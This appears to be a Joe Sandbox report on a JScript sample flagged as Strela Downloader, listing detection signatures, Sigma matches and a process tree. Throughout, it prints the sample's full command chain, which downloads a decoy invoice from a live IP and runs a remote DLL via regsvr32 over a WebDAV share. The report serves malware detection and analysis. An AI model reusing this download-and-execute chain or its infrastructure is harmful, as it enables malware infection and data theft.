Edit tour

Windows Analysis Report
26680121751816526037.js

Overview

General Information

Sample name:	26680121751816526037.js
Analysis ID:	1589026
MD5:	d82532081c6d12966a79effaa87cc188
SHA1:	d3b7c6f7522c02797ead40b9571ecf38c113fd16
SHA256:	329c0fe5ab81d0f800459223452c4b8cb2c08b318730b27e1efb6b7cc374220f
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5996 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26680121751816526037.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3804 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5364 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7132 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7232 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7472 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2280 --field-trial-handle=1528,i,1093734164666883056,6253685785449591838,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5404 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1456 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7328 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5996	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3804, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5364, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3804, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5364, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26680121751816526037.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26680121751816526037.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26680121751816526037.js", ProcessId: 5996, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26680121751816526037.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5996, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, ProcessId: 3804, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26680121751816526037.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5996, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, ProcessId: 3804, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26680121751816526037.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5996, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, ProcessId: 3804, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26680121751816526037.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5996, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, ProcessId: 3804, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26680121751816526037.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5996, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, ProcessId: 3804, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26680121751816526037.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5996, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, ProcessId: 3804, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26680121751816526037.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26680121751816526037.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26680121751816526037.js", ProcessId: 5996, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3804, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5364, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5404, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1456, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7328, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5404, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1456, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26680121751816526037.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5996, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll, ProcessId: 3804, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 26680121751816526037.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 26680121751816526037.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.1241048072.000001FE45559000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1298277161.000002096CAAD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1298277161.000002096CACE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1298277161.000002096CA78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000C.00000002.1298277161.000002096CA78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/l
Source: svchost.exe, 0000000E.00000002.2540218448.000001C21A283000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.13.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.14.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.13.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000E.00000003.1306097721.000001C21A100000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.14.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.9.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5996, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll	Jump to behavior
